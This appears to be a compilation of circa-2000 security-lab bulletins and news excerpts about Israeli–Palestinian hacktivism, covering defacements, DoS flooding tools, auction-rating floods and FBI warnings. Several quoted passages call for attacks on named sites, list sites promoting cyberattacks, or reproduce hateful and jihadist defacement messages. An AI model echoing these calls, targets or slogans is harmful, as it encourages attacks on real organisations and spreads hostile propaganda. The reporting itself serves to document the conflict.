| Cyber War in the Middle East |
The on-line bank "LinkBank" www.linkbank.com from New York, USA, was hacked by Pro-Palestinians Underground "GForcae Pakistan". The hackers left behind few messages, e.g. "save Kashmir and Save Palestine". Although the web administrator was apparently re-build and the web site, under the section "play with it" - The LinkBank Demo, more messages from "GForcae Pakistan can be found.
The Israeli hackers underground "m0sad team" defaced the United Arab Emirates (Abu Dhabi) "Khaleejcom Trading" web site.
More web sites were defaced from both sides, apparently the Pro-Palestinians Underground are much more "successful".

Cyber War: IRON Guards First Operation
A group of Cyber Soldiers named "IRON GUARDS" have defaced a new Zionist site:
Technion - Israel Institute of Technology (pooh.technion.ac.il). They left a simple message says:
"LEAVE JERUSALEM!!!! --IRONGUARDS-- n00gie or better DROP DEAD!!!"
Iron Guards announced that this is just a Birth Cry, and promising of targeting all Zionist and Pro Zionist networks causing unbelievable causalities, They are promising with an operation under the Name:" Martyr Muhammad Al-Durah operation" very soon.
see a mirror of the attacked site at:
IRON GAURDS are calling all Freedom fighter to join the struggle, it is a new age of massive war on the Zionist racism, on real world and on the Cyber World.
According Al-Awda' we site:
Al-Awda, The Palestine Right to Return Coalition, is a broad-based, non-partisan, global democratic association of grassroots activists and organizational representatives regardless of their religious, ethnic, political affiliation. Our objective is to educate the international community to fulfill its legal and moral obligations vis-a-vis Palestinian refugees based on The Universal Declaration of Human Rights, International law and implementation of United Nations Resolutions upholding the inalienable right of Palestinians to return to their homeland and to restitution of all their confiscated and destroyed property.
As part of their activities, they encourage others to act to aide their cause. Some examples include:
They encourage their readers to use the techniques from media relations sites (e.g., http://www.fair.org/activism/activismkit.html ) to "write regularly to media (whether once a day or once a week)" on specific "talking points".
They encourage a boycott of AT&T and provide contact points for changing providers and for writing in protest to AT&T executives.
They provide "Recommendations For Effective Protest Actions to Stop Israeli Violations of Palestinian Human Rights" which indicates the objective is using the media to generate public sympathy for the Palestinian cause. This also details just when, where, and how to have an effective protest (good stuff for anyone who wants to promote a cause).
This site seems primarily aimed at the United States Palestinian population. For example, they advise their constituents to "Lobby congressional representatives in your areas." and so forth.
One more worthwhile quote from their web site:
"Never doubt that a small group of thoughtful, committed citizens can change the world; Indeed, it's the only thing that ever has" Margaret Mead.
Virtual Peace - First steps ?
The Pro-Palestinians Hacker "Peace @ Palestine and Pakistan Zindabad" known as wall as "m0r0n/nightman" that were attacked and defaced many Israeli web sites \ networks in the last 45 days, hit last night the Mail server 'doar.inter.net.il' manage by the Israeli ISP Internet Gold. The attackers left a few messages behind while an important part of it brought here below:
"This will be almost our last defacement on the .il sites because we have to move on to help other Muslims brothers. We have gotten some emails and we are still thinking about it. And secondly most of the people are attacking Israel and they are aware of the facts so our mission is almost complete here. Well we say that our motto is accomplished because hackers like Cyberpunk and a bunch of others are defacing with messages against Israel and we got about more than 300 emails from DIFFERENT COUNTRIES of the world saying that they did not even know of the facts and that our defacements have awarded them. So we take pride in this and we leave .il sites while we are still PROUD of it. - Peace @ Palestine and Pakistan Zindabad!"
In the same time, but in Hebrew, the Israeli Underground "Support Israel" (www.support-israel.com) published a message calling to stop the attacks against nay type of Palestinians, Pro-Palestinians and Arabic web sites \ networks.
Although the words above and in parallel, other pro-Palestine's underground "tR|cky" hit Israeli academic web sites the "Achva College" (online.achva.ac.il), while the Israeli underground "Israel Net Force" is currently control a significant Denial of Service attacks against the largest Arabic portal and search engine - El-Aroob www.aroob.com (for more information see update for the day before).
For the First time: The Israel Underground "polo0" (planet.nana.co.il/polo0) defined new offensive target besides the Pro- Palestinian \ Arabic argets - an Israeli target!. The "polo0" ask "mainly to attack" the Gush Shalom web site (Israeli Peace organization - www.gush-shalom.org ). Gush Shalom is a non-partisan and extra-parliamentary grass roots movement, whose aim is to influence public opinion, composed of Jews and Arabs, Independents as well as members of political parties and other organizations. The web site hosted at
The Israeli underground "Israel Net Force" is currently control a significant Denial of Service attacks against the largest Arabic portal and search engine: EL AROOB www.aroob.com. The attacks are based on ICMP flooding. The attacks are supervises via classified chat room.
The Israeli underground "The Israel Hackers - Unity" (www.israelhackers.cjb.net) defines new offensive Palestinian or Pro-Palestinian \ Arabic targets as follows:
The Israeli Hacker Ehud Tenebaum - 'The Analyzer' formerly arrested by the *FBI on 1998 due to implicated in widespread and systemic attacks against US military servers, helps the Israeli Ethical Internet Underground (IIU) to protect Israeli networks against the Cyber attackers of Islamic and Pro-Palestinian's groups.
>From the IIU Manifesto (www.iiu.org.il):
"We, the Israeli Internet Underground (IIU), are 'white-hats', ethical hackers, dedicated to the Israeli spirit and united in order to protect Israel on the Internet against any kind of attacks from malicious hacking groups. This site was put up to provide a list with the names of all the companies and sites in Israel, which are most probably going to be attacked in the near future by Islamic hacking groups. We therefore have contacted the leading security company in Israel, 2XS Ltd (www.2xs.co.il), and they generously agreed to make reports with solutions, explanations, etc. of the security problems for each affected site, free of charge. We set up this site because of the recent cyber attacks on Israeli sites from Islamic hackings groups. Therefore, access to our site should be considered a privilege."
MAGLAN was fundamentally explored the IIU and the relation to Mr. Tenebaum 'The Analyzer' - 2XS) and concludes the following:
Israeli security companies / experts asks to deliver a warring message to heir client in order NOT to be contact the IIU and 2XS and condemn the IIU and 2XS for such non-professional actions.

Jewish Students Threatened With New "Kristallnacht"
KNPQwest, a German internet company is reporting an massive e-mail spam, that threatened a group of Jewish students in Germany with a new "Kristallnacht" or "Night of Broken Glass," and shut down a server for two hours on Tuesday.
Reportedly, the blast of e-mail messages was signed by "adolf@hitler.com." KNPQwest said that the messages had come through a server in the United States, but could not verify if that is where they originated. German police, in the southern state of Baden-Wuerttemberg, reportedly said that they may have difficulty in prosecuting "hate crimes that originate in other countries."
ERRI computer security analysts said that such spam attacks are only one iteration of what appears to be an ever escalating pattern of "Hacktivism" in support of varying kinds of ideology....both good and bad.
MAGLAN completed the analysis of a new cyber weapon used by undergrounds, mainly by Pro-Palestine's against Israeli targets - The "Auction attack".
The Auction Flow: (from Yahoo): “We hope you find that Yahoo! Auctions is a great place to make money and have fun. Part of making Yahoo! Auctions a fun place to buy and sell involves placing auctions in the appropriate category and deleting auctions that violate our Terms of Service. We established the Neighbourhood Watch program to provide Yahoo! Auctions users a way to communicate their views on individual listings with our sellers and our Customer Care team. Only users with positive ratings and can review auctions. If the auction receives more negative reviews, our Customer Care team will review your auction and reserves the right to take appropriate action and note this action on your userID….”
The Auction attack: Negative rating “flood” will cause a product to be “push out”. Financial lost are promised, mainly in case of an e-commerce company based an on-line and auction sales.
Up to now few Israeli companies were reported on the “Action attacks”, while obtaining more than 15 negative rating in the same data and exactly the same time. All of these companies are sales Jewish products.
Israeli Hacker Undergrounds (NiTR8; lion/type_o) hit last night the web site of The University Of Isfahan, IRAN (Red Hat/Linux 2.1.122 - 2.2.16 with a Web Server: Apache/1.3.12). The site that was hacked is part of the Iranian Research Organization for Science & Technology network at Tehran. In addition, 2 Pakistani web sites were hit: The Hafeez Center www.hafeezcentre.com.pk and Pakistan Data Services at Islamabad www.primebank.com.pk. In all cases the Hackers left a messages behind against the GFORCE Pakistan Underground and the Hizballah.
The Pro-Palestinian undergrounds (apparently new “tR|cky”) fight-back and hit the Israel academia Shavatz High School www.savatz.givataim.k12.il. The hackers left behind messages against the Israeli aggressive in additional to reproachful the Israeli hackers “lion/type_o”. Last evening the Pro-Palestinian undergrounds hit 6 Israeli web sites.

Our Attack Site (Please visit and forward):
Massive offensive activity origin from Kuwait based "Al-Shayer" Networks directed to wide range of Israeli Internet Networks was recorded in the last 3 hours and still continues while writing those lines. The activity may indicate on an intelligence process, while broad scanning strategies of UDP and TCP are taking place.
The cyber clashes over the Middle East continues, entered today to the 40 day of the virtual conflicts. Internet web sites defaced, networks were penetrated and many more attack's events were recorded from the Israeli side as well as from the Pro-Palestinian and the general Arab world side. Few new undergrounds were established; Intelligence tactic and attacks capabilities are improves nearly on a daily base. Enhancements over attack's event coordination and recursive support from professional Hacker are noted, emphasizing low potential for trace-back.
Selected events occurred between the 2000/11/07 - 2000/11/10
General
- Oracle was informed that the Pro-Palestine's offensive web site, operates from the U.S. with the logo of "ORACLE" was remove, after the Inferior department of ORACLE make contact with the hosting site's manager demeaned to unload the web site.
- Few thousands of Israeli's cellular users received an SMS messages "your cellular phone is going to be explode in 5 minutes". The small panicky cause overload over the Cellular Provider customers service telephone systems, close proximity to "Denial of Service". (Note: Few years ago the Israeli Secret Service was terminated a Palestinian Terrorists by implanting an explosive in his cellular phone! this my explain the associative).
- Israeli hackers undergrounds looking a way for virtual peace, this issue was "loudly" discussed in few underground forums. Even though, "voices" calling for escalating the Information warfare were recorded.
- More than 5 different Palestinian and Pro-Palestinian hackers groups / undergrounds are communally operates against Israeli targets. Some of those undergrounds represent quite high technical knowledge and capabilities!
Israel defaced web sites (commercial, technological, hi-tech, religious, academic):
Lucent: Casualty of Mideast Cyberwar ?
Nov 06, 2000 (Tech Web - CMP via COMTEX)
Lucent Technologies Inc. may have been the target of an attack by pro-Palestinian hackers because of its business affiliations in Israel, said security information company LogiKeep Inc. Lucent (stock: LU) was hit Nov. 2 by the DoS Defend attack tool, according to a LogiKeep official. Once a hacker has targeted a site with Defend, the site is forced to refresh every 2.5 seconds. If thousands of hackers target the same site, the targeted system will freeze.
"This confirms the concerns that the pro-Palestinian hackers will spread cyberattacks to U.S. companies and government agencies connected with Israel," the official said.
"We've been saying for some time that hacking isn't going to be limited to curious teenagers, lone criminals, and industrial spies," said Lance Hayden, a manager for Cisco Secure Consulting Services group and former CIA officer. "The next logical step in hacking is the coordinated and structured attack designed to achieve a specific goal or agenda," he said. "U.S. companies have to be concerned about this, because hostilities -- whether on the battlefield or in cyberspace -- are rarely limited to the actual combatants."
"Eventually, the hostilities spill over and affect bystanders," he added. "Companies, organizations, and governments affiliated with one side or the other become logical targets for opposing forces."
The extent of the attack is still not known. Lucent officials weren't available for immediate comment.
--6 November 2000 AT&T Targeted by Palestinian Group A Palestinian group is waging an online battle against AT&T for repairing the website of the Israeli parliament, urging its subscribers to cancel their services.
According to: http://www.wired.com/news/business/0,1367,39913,00.html?tw=wn20001106
"AT&T is a responsible corporation and should not sustain violations of human rights by supporting one of the main sources of breaches of international humanitarian law -- namely the Israeli occupying forces," said a Hanthala representative. "AT&T's close proximity to human rights violations is not very favorable of its name and stature in corporate America."
An AT&T spokeswoman declined to comment. "We don't discuss individual customers or potential customers," she said.

Press Release regards the Cyber War: Read the Daily Star Article., Read Israel Internet Article, Listen to the Manger of the Information Department in the Zionist Foreign Affairs Ministry.
The Israeli Underground "Hizballah No More" (ISRAFORCE) hit the Lebanon official Hizballah TV web site "MANAR TV" www.manartv.com and Islamic Resistance Support Association web site the www.moqawama.org. The attacks are based on an automatic script run from ISRAFORCE web site against various Islamic offensive targets.
The Pro-Palestinian Underground "GForce Pakistan" hit an Israeli commercial web site Jerusalem Books (Virtual Store) http://www.jerusalembooks.com/. The Hacker were left few massages and sign in the name of "GREETS dodi \ RSH PHC \ #rootworm \ Khaled \ m0r0n & nightman \ m0s \ hack weiser and HIZBALLAH".
The Pakistan Web site of the "Shaheed Zulfiqar Ali Bhutto Institute of Science and Technology" www.szabist.edu.pk , was hacked, by a pro-Israeli underground. The web site based Windows NT Server, with Microsoft-IIS/4.0. The Hacker left few messages and picture behind, e.g. : ""FREE OUR CITIZEN, FREE OUR SOLDIERS, AND FREE RON ARAD! lion & type_o "
(Ron Arad is an Israeli Lieutenant Colonel captured by the group "Amal" when he bailed out of his plane in Lebanon in October 1986).
Mr. Boaz Dolev, head of the Israeli Governmental Servers-Infrastructures, exposed today that a Pro-Palestine's web site, operates from the U.S. with the logo of "ORACLE" www.oracle.com publishes a distraction messages against Israel and calling for a cyber War against Israel, while suggesting some DoS scripts. The information was confirmed by "ORACLE" International, which promised checking this issue.
Israel proposed to the Hizballah a Virtual Cease-Fire
An Exclusive article published few days ago at the Saudi-Arabia news paper "AL Watan" claim that the Israeli parliament member Michal Eitan ('Likud', Head of the Israeli Parliament 'Kenset' Internet Committee) contacted the Hizballah Network supervisor - Mr. Malich Housien via an American journalist in order to deliver a proposal for stopping the Cyber War over the Middle East.
Mr. Malich Housien rejected the Israeli offer and said that the Cyber War started by Israel. More over Mr. Housien claimed that a picture of Hadi Nassarala (the son of the Hizballah leader, Hasean Nassralla) that was killed 2 years ago in a military battle with the Israeli Army (IDF) was sent directly to the Hizballah leader, Hasean Nassralla e-mail. Since only the Israeli Military has access to the fighting zone (Lebanon) only the Israeli intelligence was able to send the picture. This event indicates on the large involvements of the Israeli military intelligence in the current Cyber War.
Mr. Michal Eitan did not deny the story above but just ask to be more accurate with the details. According to Mr. Eitan, during an interview for the Newsweek it was suggested him to talk with the Hizballah Network supervisor, however the contact wasn't established, since the condition for such conversation were not operational.
MAGLAN - Information Research Lab ask to point out the many version for this story already were develop around.
Do professional Israeli's Hackers take the advantage of the Cyber War over the Middle-East in order to practice on "life" targets? Preliminarily attack-signatures analysis done by MAGLAN - Information Warfare Research Lab. indicated that attack describes below, is apparently not origin by Pro-Palestinian underground. The attacker/s signatures give the impression of being Israelis or Pro-Israelis! (Unfortunately, MAGLAN cannot publish the comprehensive analysis data since it confidential information). [FC - this appears to be motivated by a desire to intensify the conflict]
The Israeli web site of COGNIFIT (www.cognifit.co.il) was hacked by an hacker named "dodi". A long message was left behind by the hacker, a part of it includes, as well as part of the offensive script:
["I would also like to add this isn't just a war against "Israel" for the perpatrators of the attrocities in palestine are US backed. Its America which has blood on its hands the blood of innocent women and children. Just as Americans were responsible for the killings in Somalia. In Bosnia they denied the Muslims there from having any weapons to protect themselves from Croatia and Serbia by imposing an arms ban. And everywhere else in the world where Muslims have died there has always been a US involvment. Shouts: PHC Gforce Hamas Hizbullah Osama Bin Ladin and everyone else who supports the Palestinian cause.

In all cases the Hackers were left various messages, all of them mentioned "Thanks to Doctor Nuker " and some pictures. This is the first time for such a large number of non-governmental web sites hit in the same 8 hours, apparently by the same "group" during the current Cyber War over the Middle East.
Hackers launch 'phase three' of online intifada Ranwa Yehia Daily Star staff
Arab hackers are attempting to divert Israeli funds from buying weapons and ammunition to fight the Palestinians by forcing the Jewish state to invest in repairing and safeguarding internet service providers in Tel Aviv.
In an e-mail sent to The Daily Star, the staff of UNITY website, created to encourage Arab supporters to target Israeli sites in an attempt to down them, announced that phase three of the cyberwar has begun.
'Remember, the more money they lose in fixing and strengthening their systems means less money to buy bullets and rockets for use against our children,' stated the e-mail, addressed to Arab internet users who have been active in attacking Israeli sites.
'Maybe you can't hold a gun and fight, but you can contribute in the struggle by visiting and forwarding the counter attack links,' it said, listing the links: defend.unity-news.com and hizbollah.unity-news.com.
'Every dollar they lose means one less bullet for the Zionist soldiers' ammunition, it means a life of a Palestinian child,' the e-mail said.
One of the UNITY staffers, who spoke to The Daily Star on condition of anonymity, said the attacks were simply an 'act of self-defense.' He also threatened that Israeli e-commerce sites would be attacked if Israelis and their supporters 'attempt to touch any anti-Zionist site.'
Attacking e-commerce sites is listed as phase four in the cyberwar attack. UNITY said the aim would make the Israelis lose 'millions of dollars in losses in transactions.' The reason phase three of the cyberwar was initiated, the staff member explained, was because Israelis and their supporters hacked into Hizbullah's Al-Manar Television website last week, combined with 'a Zionist action against UNITY.' 'All this forced us to start phase three of the cyberwar,' he said.
Alan Abbey, the managing editor of an Israeli website, israel.internet.com, posted an article on the website describing how moving hosts out of Israel was 'shaking up the high-tech business community.'
Due to what Abbey described as 'the serious threat of cyber-terrorism,' a web company, Webstyle, is moving all of its Israeli-based hosting to the US, making them harder to attack.
However, Arab hackers have become so effective that even the FBI has warned that the cyber attacks on Israeli sites could 'spill over' to the US.
A recent advisory from the FBI's cybercrime unit said: 'Due to the credible threat of terrorist acts in the Middle East region, and the conduct of these web attacks, (internet users) should exercise increased vigilance to the possibility that US government and private-sector websites may become potential targets.'
The FBI said the method of attacks against Israeli websites included automated e-mail floods and high volumes of coordinated requests for web services by pro-Palestinians.
The FBI has recommended certain security measures for government agencies and private businesses. Security officials should be prepared to take appropriate steps to prevent e-mail flood attacks, block source e-mail addresses in the event of a flooding, and ensure that appropriate patches are installed in operating systems to limit vulnerability to other denial-of-service attack methods.
In response, UNITY circulated an e-mail encouraging 'every freedom fighter with networking and hacking skills to contact them at Irongaurds@unity-news.org.
UNITY is also encouraging Arab website owners to post hacking codes because UNITY sites are being constantly attacked by pro-Israelis.
Sites promoting cyberattacks on Israeli sites which are still running are:
http://www.unity-news.org http://www.ummah.net/unity http://www.sabra-shatila.org
Two new Pro-Israeli hackers undergrounds were established. The undergrounds delivers comprehensive information on large number of Palestinian's computerized and communication offensives targets. "Gocool" - http://gocool.co.il/ attack's target - Nassarele.Net and other site based on TurkTelecom, KMT-Halikarnas Interaktif Medya A.S. Istanbul, Turkey.
"Polo0" http://planet.nana.co.il/polo0/ - various attack's targets with very interesting detailed information and instructions:
a.. Palestinian leaders cell phones b.. Palestinian Authority Telephony systems and Fax machines c.. 24 different web sites / networks d.. 15 IRC Channels e.. IRC Server
Israeli hackers release - Denial of Service weapons, a new versions :
a.. A new version of the Israeli hackers DoS weapon "Attack Hizbollah WEB & Site , ver. 2.4" was released. Preliminarily analyses the software illustrates some improved compilation to an ICMP, HTTP, NNTP Denial of Service features, but no any sophisticated elements were included.
b.. A new version of the "Hizbollah site kicker v.1.0b" was released. The tool based on HTTP flooding request against the Hizbollah web site. More can be founds at:
The Royal Jordanian web site (www.rja.com.jo) was hacked last night. The hackers lest few messages behind. e.g. : "Every 3.6 seconds someone dies of hunger. 75% are children".
Preliminarily attack-signatures analysis done by MAGLAN - Information Warfare Research Lab. indicated that it's not absolutely clear if this attack was part of the Cyber War occurs in the Middle East.
The Pakistan Hackers Club strongly in involve in the cyber war over the middle East, last night hacking targets where:
The American Israel Public Affaires Committee (www.aipac.org) web site was hacked by the Pakistan Hackers Club. The Hackers left behind long messages, e.g. : "This is to inform you that the www.aipac.org web site server is hacked..the web site defaced and all of their users database is compromised. Yes, that includes not only users personal information but their credit card numbers too (that implies to people who have subscribed to their services). .. The hack is to protest against the atrocities in Palestine by the barbarian Israeli soldiers and their constant support by the US government"
The Israeli Academy for fashions and textile "Shenkar" (www.shenkar.ac.il) was hacked by the "Pakistan Zindabad!" The Hackers left behind long messages, e.g. : You have been hacked by m0r0n and nightman of Pakistan and there is only one reason behind this hack and that is the WAR OF ISRAEL with PALESTINE!"
The Israeli Academy "Seminar Hakibutzim" www.smkb.ac.ilwas hacked by the "Pakistan Zindabad!" The Hackers left behind long messages, e.g. : "This hack is not just dedicated to the brave soldiers of Palestine's but also to the brave MUJAHIDINS (FREEDOM FIGHTERS) of Kashmir! Who live to die for their country and who fight because they know that they are on the right path."
while writing those lines more logical offensive activity recording against some Israeli targets apparently by the Pakistan Hackers Club.

Just days after the FBI warned that the cyberwar raging in the Middle East between hackers from both sides of the conflict could spread to the United States, Lucent Technologies on Thursday confirmed that its Web site was the victim of at least one attack by pro-Palestinian hackers.
Ben Venzke, director of intelligence production, iDefense Lucent, based in Murray Hill, N.J., may be the first of many U.S. companies and government agencies to be targeted by pro-Palestinian hackers because of its ongoing business in Israel, experts said.
"There could be other organizations hit here in the U.S., but this is the first U.S. corporation named directly on target lists being circulated by pro-Palestinian hacker groups I've seen so far," said Ben Venzke, director of intelligence production at iDefense.
The Fairfax, Va.-based Internet security company has been monitoring the cyberattacks by pro-Palestinian and pro-Israeli groups that have mounted in recent months because of the violence in Israel.
Lucent was hit by what is called a Defend tool, which is similar to the FloodNet program designed and used by Zapatista rebels against the Mexican government during that civil war, Venzke said.
An individual hacker has to target a specific Web site using the Defend tool. Once it is set up and hitting the Web site, it constantly refreshes the page every 2.5 seconds. The only way it can do damage is if thousands of hackers target the same Web site. If requests to the Web page from the attackers come fast enough, the target computer will freeze up.
The Defend tool is different from the Tribe Flood Network, which is more powerful and harder to detect than this version because an attacker secretly embeds software into hundreds of computers, Venzke said. Then, at a selected time, a command is issued that prompts the infected computers to swamp a target Web site or server with messages in a so-called denial-of-service attack. The program does not damage the "infected" computers or the target, but the sudden flood of messages typically knocks out the target system.
"Lucent, like many other companies, is doing business in Israel and has been named as a target by Unity, a pro-Palestinian group" that ironically has had a number of its Web sites attacked by pro-Israeli hackers, Venzke said.
The attack on Lucent comes just days after the FBI issued a warning that the recent email flooding and denial-of-service attacks that shuttered and defaced both Israeli and Palestinian Web sites in the past month could "spill over" to the United States.
Although he would not detail the type of attack on his company's Web site, Lucent spokesman John Skalko said the attack was proven to have come from pro-Palestinian hackers.
"We're aware of this stuff coming from all over the world," Skalko said. "We were ready for this attack because of what we learned from the 'Melissa' attacks last March. That was a wake-up call for all of us. We're always on alert and looking for these types of things to occur."
The Melissa virus struck individuals and businesses hard when it first hit the Internet, causing more than $80 million in damage. The $80 million total was related to the time spent by systems administrators to clear the virus off affected computers.
Although Melissa was an email-related virus, Skalko said the security awareness at his company sparked by the virus allows it to meet cyberthreats early on.
So far, pro-Palestinian attackers have hit at least 30 sites, and at least 15 sites have been hit by pro-Israeli attackers, according to iDefense.
Echoing the earlier warning from the FBI, Venzke said government agencies and businesses in the United States should be prepared for anything as the conflict continues in Israel.
Massive Denial of Service, Port Scans, Mail, News and Forum flooding attacks were recorded today against various Israeli networks, apparently mainly directed to the Israeli Governmental Network. Enormous attacks were directed as well as to the Israeli web site www.hizballa.org (contradicted to the official Hizbollah web site www.hizbollah.com.)
Some Israeli hackers / crackers said today at chat and forum discussion : that only defensive action required and call for stopping any "Internet violence" against Islamic and pro-Palestine's web sites and networks, however from the other side some were ask to "Attack http://www.alabanza.com and http://www.icg.net - they provide hosting for hi/ezba/olla.org" (apparently, this is as well as a new targets definition by Israeli hackers).
www.nana.co.il - Internet survey running in the last days ask "if you agree to coordinate Cyber attacks on webs sites over Arabic countries" the results shows : 25.2% against the cyber attacks, 37.3% don't care and 37.7 agree to those internet attacks and even participate on them. (number surveyed = 1505).
Today is the first time to expose that in the Middle East Cyber War, Virus and Vandals were use as logical weapons. MAGLAN - Information Warfare Research Lab currently collecting and analyzing this issue.
The Pro-Palestine Hacker hit the Israeli web site of "MBA International School of Business Administration Management" and left a message behind as follows : "An Israeli site hacked! By m0r0n and nightman! Reasons... JUST ONE!! STOP THE BLOoDY ATTROCITIES ON THE PALESTINIANS!!!!!!!!! Kashmir problem to us, indeed, is a very big problem but then looking at the PALESTINIans!! AND the war that they are having against the CORRUPTED ISRAELIS i think it needs a lot of attention too!! All the queries to m0r0n@cheerful.com and nightman@hushmail.com. Pakistan Zindabad!"
Hackers (apparently Israeli underground) were attacked and intrude the Palestinian web site of "Ramallah Expert Team On Vocational Training www.tvet-pal.org and replace the default html with picture of a pig reading in the Islamic holy book 'The Koran' and an ape's picture 'dressed' over Mr. Arafat face (the Palestinian leader). MAGLAN - Information Warfare Research Lab., ask to condemn any logical and physical attacks on religiosity base.
